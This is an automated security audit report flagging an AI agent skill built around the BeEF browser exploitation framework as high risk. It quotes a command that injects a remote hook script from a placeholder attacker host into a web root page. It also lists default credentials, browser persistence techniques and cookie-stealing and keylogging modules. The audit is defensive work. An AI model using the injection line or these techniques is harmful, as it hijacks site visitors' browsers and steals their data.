skills/aeondave/malskill/beef/Gen Agent Trust Hub

beef

Fail

Audited by Gen Agent Trust Hub on Sep 15, 2026

Risk Level: HIGHCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONPERSISTENCEDATA_EXFILTRATION
Full Analysis
  • [CREDENTIALS_UNSAFE]: The skill contains multiple hardcoded default and example credentials for both the BeEF framework console and its Metasploit integration.
  • SKILL.md: Hardcodes default console credentials (beef/beef) and example configuration passwords (changeme).
  • references/modules.md: Hardcodes credentials for the Metasploit RPC service (user: "msf", pass: "abc123") and REST API authentication examples.
  • [COMMAND_EXECUTION]: The skill provides instructions for executing commands that modify system-level web files to achieve persistence.
  • SKILL.md: Includes a command to append a browser-hooking script to the local web server root: echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html.
  • [PERSISTENCE]: Detailed documentation and scripts are provided for maintaining access to target browsers across sessions.
  • references/modules.md: Describes methods for Service Worker registration (navigator.serviceWorker.register), Invisible iFrames, and TabNabbing techniques to keep the exploitation hook active.
  • [EXTERNAL_DOWNLOADS]: The skill fetches the framework source code from an external repository during the installation phase.
  • SKILL.md: Provides instructions to git clone https://github.com/beefproject/beef and execute an installation script (./install).
  • [DATA_EXFILTRATION]: The skill documents the use of modules designed to exfiltrate sensitive information from hooked browsers.
  • references/modules.md: Lists modules for stealing cookies (Get Cookie), capturing keystrokes (Keylogger), taking screenshots, and accessing webcam/geolocation data.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 15, 2026, 09:56 AM
Security Audit — agent-trust-hub — beef